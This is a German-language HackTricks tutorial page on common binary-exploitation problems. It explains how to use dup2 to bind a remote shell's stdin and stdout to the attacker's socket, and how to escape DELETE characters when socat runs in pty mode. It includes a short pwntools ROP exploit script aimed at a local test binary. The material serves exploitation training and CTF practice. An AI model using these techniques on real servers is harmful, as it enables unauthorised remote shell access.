Häufige Ausnutzungsprobleme
Reading time: 2 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
FDs in der Remote-Ausnutzung
Wenn ein Exploit an einen Remote-Server gesendet wird, der beispielsweise system('/bin/sh')
aufruft, wird dies natürlich im Serverprozess ausgeführt, und /bin/sh
erwartet Eingaben von stdin (FD: 0
) und gibt die Ausgaben auf stdout und stderr (FDs 1
und 2
) aus. Der Angreifer kann also nicht mit der Shell interagieren.
Eine Möglichkeit, dies zu beheben, besteht darin anzunehmen, dass der Server beim Start den FD-Nummer 3
(zum Lauschen) erstellt hat und dass dann Ihre Verbindung in der FD-Nummer 4
sein wird. Daher ist es möglich, den Syscall dup2
zu verwenden, um stdin (FD 0) und stdout (FD 1) in FD 4 (die des Angreifers) zu duplizieren, sodass es möglich wird, mit der Shell zu kommunizieren, sobald sie ausgeführt wird.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Beachten Sie, dass socat bereits stdin
und stdout
an den Socket überträgt. Der pty
-Modus enthält jedoch DELETE-Zeichen. Wenn Sie also ein \x7f
( DELETE
-) senden, wird das vorherige Zeichen Ihres Exploits gelöscht.
Um dies zu umgehen, muss das Escape-Zeichen \x16
vor jedem gesendeten \x7f
hinzugefügt werden.
Hier können Sie ein Beispiel für dieses Verhalten finden.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.